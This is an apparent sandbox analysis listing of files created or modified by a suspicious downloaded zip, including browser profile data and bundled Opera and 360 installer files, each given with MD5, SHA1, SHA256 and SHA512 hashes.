SHA256 6c3d37bee590f500021808b8b93cc00b25569b768f634db8d819398fc363377d
SHA512 841c55acc6622d656c8aa2b07c6ab73bad060b407f08a734e9e805b7cac04715b329d54629fd6ff1716463d7d33763792f625b031a3ddab5255007950ec5c967

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 85b77c2fd948f0136148039db973272c
SHA1 29c68f88b0b5354bd2a9b043525e9d5ac6637b0d
SHA256 46984f7deedb062ddd75822470d5a5355e41d1ae1e7f32e8e30c1f1d396b5471
SHA512 5e6fb3b3d902e66c069433457b3387e0dbdfb680379f94be020be3f02651f176ef6e954fa8407c0ce555e05ffd540f326f93a14865d1b5d96bb4d4fe2472a5ac

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\thumbnails\fee2e04609599fc728fc9bc1a3cfa497.png

MD5 f9ee38264b85135c363f2509ef6fa60c
SHA1 2f0364a1548f862940262dc7c130240f713c0f4d
SHA256 cbdc8c3537b7b28581e557c05d8d07ced608b36ef9965fa6dc2244666d7fab5b
SHA512 5cdd53e8f0ae722998bd52d415f1ebba5dd1d11757af23b415b529201339349f8d0a6e9733ff690e67d648e70cb831faaeafed986baf4551850456446b291be7

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\26266

MD5 fd53885c54238606177b4041323cbfd5
SHA1 6e4342f61ae2b543a616a29a03c0be46694402e3
SHA256 50ca2f3d5b0d83fbfe93b1d2ed25b0f792987d1db0b6f15124bb2b962713e223
SHA512 32e77aaf96b0fb47422b66778cb88b0ff93067facbe3cc6b504ebaac9528c70cc07b4abe2436a6266ddfb294984e0a9b6472272a2805bbbfedfab6747dc4c1ea

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\24350

MD5 7028f11fbe8c7162805a287b72d11c10
SHA1 ffcc722ce74961b1fb9d32c8d93220d27e6db96c
SHA256 89c5c0feeb7a843a88fbd2349a86beb5d3c5bf92efc6e0ad67ccda4b14f55feb
SHA512 bcc98f308862385684de656dea1fed5a27cbeb9f18c6caeb9747587e9c141f485b6d638ac7510bb3655a27c05643519bef1dc0df00c1bb9ccc06b4817923da59

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 c6cddd76fac9bf8f12cdbf75a2eb23f2
SHA1 19393b75dd12b11fe406cd4ebd7dbf6c1432f5d8
SHA256 4116048503b20986526a7448da8a8be6d90203506ac44451ebcc003bf8eef834
SHA512 a5ebc8d952b910214407d6b4456559ef4605ab84777eb7f818486425f31df523c84cba3d26f327ef22749f4b5c9c1f32ac19c3226cb1377d85cd45facdef3394

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\207F164A24B3C39AB35610FEE760820994FFF7E2

MD5 772cb8a548cdce5b4b3cc0c37aba8dcd
SHA1 1a69d349a3106724eecbebc6f8d74ac64ec7ff87
SHA256 4cb3fc74ff092533075b9d5d120d65b2198595ab785ecc04843e6c7e47814390
SHA512 2dfbb29ba77e6b85998f7671ca47ea4e66ad8484ce22bc9b54de11f5dbd389921fe24580c4c2e2d98389f047005a366f0efcabdbc8ef47d492c60cb8a158a03d

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 cf49b46a7bc411d409609fe6d08bc9e9
SHA1 bf6ac841c6c3af2dbb7b5e9bf031aff0d1512539
SHA256 9824f0fb810755ad6f32dd839710e1d0cf970bcae9011d602a4058838d3d0a79
SHA512 a35a79e2785502878deeea915102710b6c7ad4ea93efe36e32574d633712801cc6a435a4622419cf14345eb45ae3d32c11a8cb35e012cca41cec7bf9f051a225

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\28621

MD5 edd1e407e87c1b9c483622760da8b0ab
SHA1 b72451cbd77024ccff658b3ca3a974d2093e627b
SHA256 a07638ac3a1b937d6d92fc7be0ce63f9f5eaa87ae0b083e529f72483d7f7d5ee
SHA512 066615fa7817009aff860a2aa87e2b8615afba33ccc17dd44b8a99575db6534740ad69a64fe89496ad8878d0f8e1cd4b0b71c9f9ad2aed65f2695cd9e84beb18

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\6FBA18B2EAB915EEE39DBBC8697B93D6C81A7247

MD5 949afbe0481a341729ebbdaf34d62367
SHA1 8311af2d5aa81bce10638db573fc9711ee6baba8
SHA256 0562d948cb0d5c21df0fe08d7d17e5f4022da3c2a7e918b6316286e3613b8946
SHA512 298d006fda68e88722466c47f65929db003a5357007f5930dde5d21782a5147089684516415d390c1608b73da66a837055c87564c6273093c3e227c6ddb65aac

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 8baf056eb5d90443c3bee9852f72ffe0
SHA1 52c5d7a933e0186a26d3641192d70997499b747a
SHA256 87708005ff636c76617a8e764adcda3932a81a40433d27f952ee70db3e6b8295
SHA512 028dbb56e2faff686a37d89e0e2923626c3e4a83e7ff5c73201e3a302c1f4fed6d3399c45771fe277904ae1af42f099ddbcc7959ee18e2cbde0265908c80631c

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 f85bef70fdb2ec5eca2436e8e1a62688
SHA1 431dc3b77556ae6acb43107f96abce0105b13cca
SHA256 2231d7591e40755b5a46eca573701d9223cdbd0184ef8205ccb4c08cf814bd82
SHA512 c8d78fdf270302c1aefafc0d9825b1481235b2437e07aded06dcf1a6639b82c46e565ee9221ee10c5357aa3f0a5a939b3b54db7984e8e151e59ac7bcc9822438

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\77FACD705A87907B9271200ECF71FCA9EFCE0D68

MD5 d1f2f902bc8af3c07a607419a8558fdd
SHA1 a7ec3faaf6617add3440ef1b1bd0dd0e83563230
SHA256 807e35e1ca0b8920641f3c019047edcf419d8afc7cc7a4d6964e0961dd0e26d0
SHA512 bb48591cd387e2270ba5dcce18eb065dbbcc8b2ac63b8e6190f6dac04ee395690f6b6e37ebdf7368a40c91b3bb57e64ccf65f9f8fbad4b51cbd81b317ce6aefa

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms

MD5 c6e302ae275b88427603799def7047d4
SHA1 a8f72dd799778d61e460381252954f88e65c5d80
SHA256 b002a77e145c4214e9650d3fdee00398d1345b529dee79bf3132cd15d2fac630
SHA512 dfe3bc1b42a47ace4e9f7bdc503a808c2bfe9cf8158266c1b2072c7f701e6178be79d04235c21447f6ed0b5cbc796110bb6c739c36a8e053d9b256c8e5c7ba75

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 f4dcf4622f478a0e725983ff7a7d5c4c
SHA1 9644777814b9e23829766c69fadcde18ba9b79e4
SHA256 cbc4fc0595b9004c2ecf6c28f31aa6a10bfd3fe2899c8b7b96c096a2aa624fd1
SHA512 5807c3c749fb300c931b4d723692407ce45c1f8fb3a5784bf6ebf1ca0b5d042211ca844f949e594484fbbea2bd4fc47e71252dba37e9a97a61f3c99149fd114b

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\6E462D0F081A1F3B36E28E86BF9D1CE70BEB4233

MD5 beb7db38e4f6376f9ac808df357abbe0
SHA1 c5e0ab8e9ddc63aacb292d036a087d868a0fe003
SHA256 88792f374e54a057ae4406f3ec4dd4e32c4f2e45aba6eb8f967a3415e0ba4b3f
SHA512 4244ac1012a3cb6dde7a11850b1d246f564c624f67e1c1a25e67799fb746b76eae0794b800aa564152dc8990a2bcc697da38f20a441e1f2cca8bf344ffb46a6b

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\datareporting\glean\db\data.safe.bin

MD5 b1c8aa9861b461806c9e738511edd6ae
SHA1 fe13c1bbc7e323845cbe6a1bb89259cbd05595f8
SHA256 7cea48e7add3340b36f47ba4ea2ded8d6cb0423ffc2a64b44d7e86e0507d6b70
SHA512 841a0f8c98dd04dc9a4be2f05c34ecd511388c76d08ca0f415bfb6056166d9a521b8bc2c46b74697f3ecdac5141d1fe6af76dd0689350caca14e9f849ee75a8b

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\23725

MD5 806e54a266f495d0d3f756fd638cee02
SHA1 f4c78770093e80d6212d842866a96dfad2a3a44e
SHA256 088bd4e983e5be50667c7f5ea6bc5371708955084bdc072643778a5a59039402
SHA512 cfc0cac9b8a006b551f12c36b0a90f0db26ff91bbcc3d75f51cd937a5ea609a55f6fd2b8e5005b6044ebfc6619f304fe5e64aa72b3b2419f3bf172fa20860b35

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 bfae1727f9b3211c750fa5cd187edb29
SHA1 94a035e84d232fdd6d563e480f3dac77c76e4c4e
SHA256 37555c830c0b31851a6ef1568197165e806ea24c0852624159a5a3ad22a79f48
SHA512 bfc24c177a8de72d24ed04ad1ce656968a4e46474afa284d7611aa065c449e2d055f7df0ed2e2eb56ca81bd3d5949790d631807521bc1381192c039b36eeccf8

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 704d4cabea796e63d81497ab24b05379
SHA1 b4d01216a6985559bd4b6d193ed1ec0f93b15ff8
SHA256 3db2f8ac0fb3889fcf383209199e35ac8380cf1b78714fc5900df247ba324d26
SHA512 0f4803b7b7396a29d43d40f971701fd1af12d82f559dcfd25e0ca9cc8868a182acba7b28987142c1f003efd7dd22e474ac4c8f01fe73725b3618a7bf3e77801d

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 de47c3995ae35661b0c60c1f1d30f0ab
SHA1 6634569b803dc681dc068de3a3794053fa68c0ca
SHA256 4d063bb78bd4fa86cee3d393dd31a08cab05e3539d31ca9f0a294df754cd00c7
SHA512 852a9580564fd4c53a9982ddf36a5679dbdce55d445b979001b4d97d60a9a688e532821403322c88acc42f6b7fa9cc5e964a79cbe142a96cbe0f5612fe1d61cb

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 ceb708d623aa392054113cc53171a14e
SHA1 c5239b2ffaeb71f640aedd551bc917261747b9e2
SHA256 0fbdd53eacd41319c3a99e2cc41f1f101de91da725fb0998669255ef0fc54ac4
SHA512 5097d646becffba4304a80d11a43c5ebc186dc60655058988d21b1b94fdb8e6b83eb7e076566e5e8909145b47a35215d599d6e45b4975a13a6f4a8fffa96d540

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

MD5 206702161f94c5cd39fadd03f4014d98
SHA1 bd8bfc144fb5326d21bd1531523d9fb50e1b600a
SHA256 1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167
SHA512 0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

C:\Users\Admin\Downloads\NEW-UPDATED-SYNAPSE-_T7R5SrJ04I.zip

MD5 81bc769742ca360d7e7947c082eeff02
SHA1 89b66dc1cc6d336e4870360fa666cdd7e2c3f5a7
SHA256 bf8057c3b4ac813f1041ad5f8fb67067de0c328ae37b0c1fa2aca1f4017b0e8a
SHA512 9f353e5aa5f109f775b1da75a586ee387692080ffa90010aa9ac6eea38eb50c2cdfc763bfba34dbf9506606bdb1652adc6e1494315863e1175f00e790eeef897

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 6be69bf5c02ea21490aaa7c59ca812f8
SHA1 b3e773f07b0f809340030dbe6febacb69516c9c0
SHA256 bc867971071f4b439fecc4c4559827d29d98d3145c2c9b08c58516f1a791536d
SHA512 9e6d96a72f5ec02b554fa199d03b0881ad7913ddfb1ae793b3eb9e90369607834f1db4935830755a55def59e6a88595644ddcd7c9a95185f0b7bf40fb37fb2bd

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 e093b931e540d25b89bfba2ec3a87ca9
SHA1 9696ee1e71d788c7c485cd45559cfa0624911401
SHA256 141de673bcd75fdc8ec552636fb4da4d66d72baae7bdeaa1f797e8b4895c03ea
SHA512 2ed7104cd9ca992ab8ac39c428e87d753e68c6c65bf6935964def839f4d315b6a2d803a1ce882af44ccb2b805505024834c225adf180a63c51f0707e0e4a5083

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 57b6e200172180423a665f454f55004e
SHA1 3de7091af9a74c5aba774048cbefd28bd411616f
SHA256 d414036a1740a902dbc0e71e4f4271bca88463e72b36cba79fb70a566fbe0e7c
SHA512 804d310eb227f4fd262d4c8d028bb578fd44300f9da8f9584e2ce729084d23ba2b932aade123c1e3a012a053f3d4e4eb5754b22f2279b7951909d0b2e5a7d929

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 e9ed536f1c2332307c1d772d6eb9cd03
SHA1 7e31048788327ad237b177dbbf7116c5f2e487cf
SHA256 05ccf144865d071ed8d165cdcbd6f47269546ebdaae1a2047f88932400d10484
SHA512 b8a5f18a4ac1edca22af87eb9f1272a988ee6843dcf0e64db7b37a674b66613a437acec715060cf2b69b7f0f5c46ae6ca5d1be72f2ea59fa478664432607c7b0

memory/2904-16453-0x0000000000400000-0x0000000000D5E000-memory.dmp

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\datareporting\glean\db\data.safe.bin

MD5 7d3d11283370585b060d50a12715851a
SHA1 3a05d9b7daa2d377d95e7a5f3e8e7a8f705938e3
SHA256 86bff840e1bec67b7c91f97f4d37e3a638c5fdc7b56aae210b01745f292347b9
SHA512 a185a956e7105ad5a903d5d0e780df9421cf7b84ef1f83f7e9f3ab81bf683b440f23e55df4bbd52d60e89af467b5fc949bf1faa7810c523b98c7c2361fde010e

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\storage\default\https+++mega.nz^userContextId=5\cache\caches.sqlite

MD5 5931c0f504bb41708a3f3d4306380731
SHA1 273614e222189a65f76cd2e02540920ecd6e534a
SHA256 5f0ce10a21ec070864baa7594cae3903d46e0b33a15c34c6949b063dfabf0d7e
SHA512 d9fb2e8f6505bf2015a04e1898ca54a9a576f5034aeddada41401e0f1093057acfd2e65931fa1566322f1bfb5f903ad18ae5cb67217e4c618603775397ca84ae

memory/2904-16588-0x0000000000400000-0x0000000000D5E000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 31a2fbad510bab0509e6b8be8357691d
SHA1 75326d264a48758186cc1bcbdb382e11963efc5c
SHA256 fa78f5e687d8b6ff001c807b0d57fe2ce6884a27df23711ef3d329612f696b7f
SHA512 261d4d559a416f3f8986479ff22156c9bdc1554f0d74f141741867e2cb9dbdbdeb0795eaf59eabb33b39b0e61b6cc2f4f625a386fb8b1fe33c3335f1d1d704c9

C:\Users\Admin\mentalmentor\settings\webengine_profile_main\Session Storage\MANIFEST-000001

MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

C:\Users\Admin\AppData\Local\Temp\Opera_installer_2405212121373355900.dll

MD5 74ceaf1146735fe0e297fa37ecd98349
SHA1 d77927d0b1bc98c4a1d1839591b1d3d5da2e3f50
SHA256 b4bf308a845e7b2b6cf1743a7c67440c8690a73631977d75197ae4616996c694
SHA512 f7717dbf780b5badacb27d83fc0e55b14477fe2179f11396780b053ba928b1875d77c83c470d5940ade9ce53082989cc581d411e9b441b52fe0b1f9396115251

C:\Users\Admin\AppData\Local\Temp\[email protected]\setup.ini

MD5 e6edb41c03bce3f822020878bde4e246
SHA1 03198ad7bbfbdd50dd66ab4bed13ad230b66e4d9
SHA256 9fa80f0889358d9db3d249a2e747e27b7c01c6123b784d94d169c0e54cacf454
SHA512 2d71b7d50212f980e82562af95598c430aa0875f7a9d9cc670ba2cb1f63057fb26fd747a99cb4ca08f2355d002daa79bda2236b3ad9e37a3cfef32ae5420e2a1

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202405212121371\additional_file0.tmp

MD5 028fb19ee2cea3e611b4a85ac48fafbc
SHA1 d1a802b5df649282e896289b4ec5df8d512b53dd
SHA256 e8fa79e22926ae07a998b5d2bb1be9309d0a15772ac72b88f4eed66052f33117
SHA512 99959d7765c1e6636dee1841f214cb2d0c7684d7128381b0387fa9c7ef4a92ef62bb094087bdcb343e44196b5a333df3a2104ced9f49671197a06fafa27aff51

C:\Users\Admin\mentalmentor\settings\webengine_profile_main\d7276adf-15ca-4f02-b2e1-d8e213e936db.tmp

MD5 8bbddae436d02410e0ff3042ed21dd07
SHA1 fe1b787ce3e9e9fd7ef4f2befaa2b8e8e9f91c0f
SHA256 0e07d196ccb710382dbd87acc3dba769df09bab3fe750d439a4a0a7ddb2aa9c2
SHA512 2ffa25970e5d0ca5abd8127300dcfec1cde14d8eb3e9ae201e8ea5bd80f9fc8bd6be871f5c84b9d7dd76c78c64413e648970be665fc0a787b554deb299dc7595

C:\Users\Admin\mentalmentor\settings\webengine_profile_main\TransportSecurity~RFe7d355f.TMP

MD5 385cf978c2ce7e4177f890d0deeff603
SHA1 b2b9b3e7b2341bc0dc104b52a1c066cb3b78ead1
SHA256 b6f3d57c37dbfdf5b9ebcc89ae0edccefe19583e41c8c48a4cbaf91cd041edda
SHA512 b6190889ef661eb0660bc7cbdd1aec2dfb746d5506af87d603b4b9538b452e1693f3a7732e9f589d6d8b1c663256f16050aa8935b44036c8464994e86439ec47

C:\Users\Admin\AppData\Local\mentalmentor\cache\QtWebEngine\webengine_profile_main\Cache\f_000001

MD5 1cfd48e55e6b1d0500a912f55b275783
SHA1 c7b1875c55ed566e7845c67b230ac0e634a42238
SHA256 d3134123cb198214a3bce18a5db69b3c0392b16b504340ff4514361dd940e5f4
SHA512 c0b043cb2d2f382ca279b168da03ccfe56d4f908312c93178fb8cc246261eb4efe7ae73a4c7dd7a4f6713360c5be5753be4f2e8c1262251fe52142fe540c97c8

C:\Users\Admin\mentalmentor\settings\webengine_profile_main\user_prefs.json~RFe7d51f0.TMP

MD5 f222dbdb8477feb9dc4a5f0ee220dfca
SHA1 48b5beff5211ab44abe55cfdab7a60cac2c9e481
SHA256 84668ee0d44432beab31e1fe63b3a9388e230443d8751e29c8f46a79ad2f07ad
SHA512 6d8c25b3089baed1ac9b08cb611716ae9ada8e3b4415fff0b85e66b1818578ce2b43812137891419c834d17a60e37fd450148fa5f888faac700029c07752f96e

C:\Users\Admin\mentalmentor\settings\webengine_profile_main\fc2166ce-eea9-48f7-a831-8a59892645b4.tmp

MD5 f6b91b3ed9f73725771f853331f58b40
SHA1 ef524f9b7cf6c44d15a28e0de3e44981c1d2142c
SHA256 b44f3d3926d5f92dfd53bc2763b243bd684a1b9eeb1de18bd8f97c11a53f6cf8
SHA512 c3ac1f3661256ee23e4f1d34c15ea7cd9d1de1895d6ff65efe0b6593065b66cc9019556727664aa7a9243cda6126b7bf1d80cd46bea36a2ec4adc3f885cf9ffc

C:\Users\Admin\mentalmentor\settings\webengine_profile_main\f5840efd-12cf-4d23-8ab5-92299951f021.tmp

MD5 735b6dcf004e9cd5e5a104d111fda392
SHA1 6dfe595f9f55f773a356bf7863a5855f70f217a2
SHA256 b9d4a19983a490f0761ab30717174b0154f9603ad9cf42f3c7b9cfbed3fda4bf
SHA512 120232ed5d2c37d144b5267151c3767adddbc942d6eb1e94220afb94bab8f4463050275af2abea5600f14adefc8af825710f9799c1608d01475ed483c0efe8e6

C:\Users\Admin\AppData\Local\Temp\1716326527_00000000_base\360base.dll

MD5 b192f34d99421dc3207f2328ffe62bd0
SHA1 e4bbbba20d05515678922371ea787b39f064cd2c
SHA256 58f13d919f44d194827b609b6b267246abc47134bb202472c0dfe033b9d7ed73
SHA512 00d4c7a0a0097eb4b31a71a0eaf6ff0d44619f77a335c75688565e34e6d7f4fb6c258917457d560c6b0a5077603845ce012e01d9862e87fb5327d7f8da970f95

C:\Users\Admin\AppData\Local\Temp\{CB544CBD-6924-4063-A89D-767D171360A3}.tmp\360P2SP.dll

MD5 fc1796add9491ee757e74e65cedd6ae7
SHA1 603e87ab8cb45f62ecc7a9ef52d5dedd261ea812
SHA256 bf1b96f5b56be51e24d6314bc7ec25f1bdba2435f4dfc5be87de164fe5de9e60
SHA512 8fa2e4ff5cbc05034051261c778fec1f998ceb2d5e8dea16b26b91056a989fdc58f33767687b393f32a5aff7c2b8d6df300b386f608abd0ad193068aa9251e0d

C:\Users\Admin\AppData\Local\Temp\360_install_20240521212210_243103453\temp_files\i18n\en\safemon\wd.ini

MD5 47383c910beff66e8aef8a596359e068
SHA1 8ee1d273eca30e3fa84b8a39837e3a396d1b8289
SHA256 b0a2dd51d75609b452a16fb26138fb95545212eb6efa274f2751eb74ccc5633f
SHA512 3d307569452ec6d80056a3a2e0225d559606deab9a6c3913c1fef7ed6aca476d7a00190b1bbfa3d032411c2f52427f3096fce7b7952479ad9b75aa3cef59d7b0

C:\Users\Admin\AppData\Local\Temp\360_install_20240521212210_243103453\temp_files\i18n\es\ipc\360ipc.dat

MD5 ea5fdb65ac0c5623205da135de97bc2a
SHA1 9ca553ad347c29b6bf909256046dd7ee0ecdfe37
SHA256 0ba4355035fb69665598886cb35359ab4b07260032ba6651a9c1fcea2285726d
SHA512 bb9123069670ac10d478ba3aed6b6587af0f077d38ca1e2f341742eaf642a6605862d3d4dbf687eb7cb261643cf8c95be3fba1bfa0ee691e8e1ed17cc487b11e

C:\Users\Admin\AppData\Local\Temp\360_install_20240521212210_243103453\temp_files\i18n\es\ipc\360netd.dat

MD5 d89ff5c92b29c77500f96b9490ea8367
SHA1 08dd1a3231f2d6396ba73c2c4438390d748ac098
SHA256 3b5837689b4339077ed90cfeb937d3765dda9bc8a6371d25c640dfcee296090a
SHA512 88206a195cd3098b46eec2c8368ddc1f90c86998d7f6a8d8ec1e57ae201bc5939b6fe6551b205647e20e9a2d144abd68f64b75edd721342861acb3e12450060d

C:\Users\Admin\AppData\Local\Temp\360_install_20240521212210_243103453\temp_files\i18n\pt\ipc\appmon.dat

MD5 3aacd65ed261c428f6f81835aa8565a9
SHA1 a4c87c73d62146307fe0b98491d89aa329b7b22e
SHA256 f635978ce8fc3a30589f20fd9129737585cc29e59d5170ec0d50f1be6aca14c4
SHA512 74cf2ac111c5c159e4f039f31a2aab676c7d212948fa36ee99209d927db22fab625341de3435d7fbd19306a35b24a2a55a30adf9cefd81e0699529ba18c806e9

C:\Users\Admin\AppData\Local\Temp\360_install_20240521212210_243103453\temp_files\i18n\fr\deepscan\art.dat

MD5 0297d7f82403de0bb5cef53c35a1eba1
SHA1 e94e31dcd5c4b1ff78df86dbef7cd4e992b5d8a8
SHA256 81adb709eec2dfb3e7b261e3e279adf33de00e4d9729f217662142f591657374
SHA512 ce8983e3af798f336e34343168a14dc04e4be933542254ce14ff755d5eb2bcb6e745eda488bc24be2b323119006cf0bdb392c7b48558ca30f7f2e170a061a75e

C:\Users\Admin\AppData\Local\Temp\360_install_20240521212210_243103453\temp_files\i18n\es\ipc\360netr.dat

MD5 db5227079d3ca5b34f11649805faae4f
SHA1 de042c40919e4ae3ac905db6f105e1c3f352fb92
SHA256 912102c07fcabe6d8a018de20b2ad97ea5f775dcb383cd3376168b7ebf8f9238
SHA512 519ab81d0c3391f88050e5d7a2e839913c45c68f26dabad34c06c461ddb84c781bf7224e4d093462c475700e706eef562d1210cee3dba00a985d8dadbf165c5c

C:\Users\Admin\AppData\Local\Temp\360_install_20240521212210_243103453\temp_files\i18n\es\safemon\drvmon.dat

MD5 c2a0ebc24b6df35aed305f680e48021f
SHA1 7542a9d0d47908636d893788f1e592e23bb23f47
SHA256 5ee31b5ada283f63ac19f79b3c3efc9f9e351182fcabf47ffccdd96060bfa2cf
SHA512 ea83e770ad03b8f9925654770c5fd7baf2592d6d0dd5b22970f38b0a690dfd7cb135988548547e62cca5f09cb737224bbb8f2c15fe3b9b02b996c319f6e271ed

C:\Users\Admin\AppData\Local\Temp\360_install_20240521212210_243103453\temp_files\i18n\hi\deepscan\dsconz.dat

MD5 a426e61b47a4cd3fd8283819afd2cc7e
SHA1 1e192ba3e63d24c03cee30fc63af19965b5fb5e2
SHA256 bbabbf0df0d9b09cf348c83f8926fef859474e5c728936e75c88cd0ac15d9060
SHA512 8cc7ff3d5a0841174f5852ba37dbc31a2041cdcba400a30a51d3af9caf4595af3ffe4db7f6fe9502008eb8c2c186fe8fa3afd633aac38c3d6b0ad9bc9bc11eec

C:\Users\Admin\AppData\Local\Temp\360_install_20240521212210_243103453\temp_files\i18n\fr\deepscan\dsr.dat

MD5 504461531300efd4f029c41a83f8df1d
SHA1 2466e76730121d154c913f76941b7f42ee73c7ae
SHA256 4649eedc3bafd98c562d4d1710f44de19e8e93e3638bc1566e1da63d90cb04ad
SHA512 f7dd16173120dbfe2dabeab0c171d7d5868fd3107f13c2967183582fd23fd96c7eeca8107463a4084ad9f8560cd6447c35dc18b331fd3f748521518ac8e46632

C:\Users\Admin\AppData\Local\Temp\360_install_20240521212210_243103453\temp_files\i18n\it\safemon\bp.dat

MD5 1b5647c53eadf0a73580d8a74d2c0cb7
SHA1 92fb45ae87f0c0965125bf124a5564e3c54e7adb
SHA256 d81e7765dacef70a07c2d77e3ab1c953abd4c8b0c74f53df04c3ee4adf192106
SHA512 439738f2cdd0024e4d4f0da9668714fd369fb939424e865a29fc78725459b98c3f8ac746c65e7d338073374ab695c58d52b86aea72865496cd4b20fcd1aa9295

C:\Users\Admin\AppData\Local\Temp\360_install_20240521212210_243103453\temp_files\i18n\es\deepscan\dsurls.dat

MD5 69d457234e76bc479f8cc854ccadc21e
SHA1 7f129438445bb1bde6b5489ec518cc8f6c80281b
SHA256 b0355da8317155646eba806991c248185cb830fe5817562c50af71d297f269ee
SHA512 200de0ffce7294266491811c6c29c870a5bc21cdf29aa626fc7a41d24faf1bfe054920bd8862784feaba75ba866b8ab5fd65df4df1e3968f78795ab1f4ad0d23

C:\Users\Admin\AppData\Local\Temp\360_install_20240521212210_243103453\temp_files\i18n\es\ipc\filemon.dat

MD5 bfed06980072d6f12d4d1e848be0eb49
SHA1 bb5dd7aa1b6e4242b307ea7fabac7bc666a84e3d
SHA256 b065e3e3440e1c83d6a4704acddf33e69b111aad51f6d4194d6abc160eccfdc2
SHA512 62908dd2335303da5ab41054d3278fe613ed9031f955215f892f0c2bb520ce1d26543fa53c75ce5da4e4ecf07fd47d4795fafbdb6673fac767b37a4fa7412d08

C:\Users\Admin\AppData\Local\Temp\360_install_20240521212210_243103453\temp_files\i18n\es\libdefa.dat

MD5 aeb5fab98799915b7e8a7ff244545ac9
SHA1 49df429015a7086b3fb6bb4a16c72531b13db45f
SHA256 19fa3cbec353223c9e376b7e06f050cc27b3c12d255fdcb5c36342fa3febbec4
SHA512 2d98ed2e9c26a61eb2f1a7beb8bd005eb4d3d0dac297c93faaf61928a05fb1c6343bb7a6b2c073c6520c81befdb51c87383eab8e7ca49bb060b344f2cf08f4d9

C:\Users\Admin\AppData\Local\Temp\360_install_20240521212210_243103453\temp_files\i18n\es\ipc\regmon.dat

MD5 9f2a98bad74e4f53442910e45871fc60
SHA1 7bce8113bbe68f93ea477a166c6b0118dd572d11
SHA256 1c743d2e319cd63426f05a3c51dfea4c4f5b923c96f9ecce7fcf8d4d46a8c687
SHA512 a8267905058170ed42ba20fe9e0a6274b83dcda0dd8afa77cbff8801ed89b1f108cfe00a929f2e7bbae0fc079321a16304d69c16ec9552c80325db9d6d332d10

C:\Users\Admin\AppData\Local\Temp\360_install_20240521212210_243103453\temp_files\config\lang\de\SysSweeper.ui.dat

MD5 98a38dfe627050095890b8ed217aa0c5
SHA1 3da96a104940d0ef2862b38e65c64a739327e8f8
SHA256 794331c530f22c2390dd44d18e449c39bb7246868b07bdf4ff0be65732718b13
SHA512 fb417aa5de938aaf01bb9a07a3cd42c338292438f5a6b17ef1b8d800a5605c72df81d3bae582e17162f6b1c5008fd63035fa7a637e07e2697cb1b34f9197a0cd

C:\Users\Admin\AppData\Local\Temp\360_install_20240521212210_243103453\temp_files\i18n\pl\safemon\360procmon.dll.locale

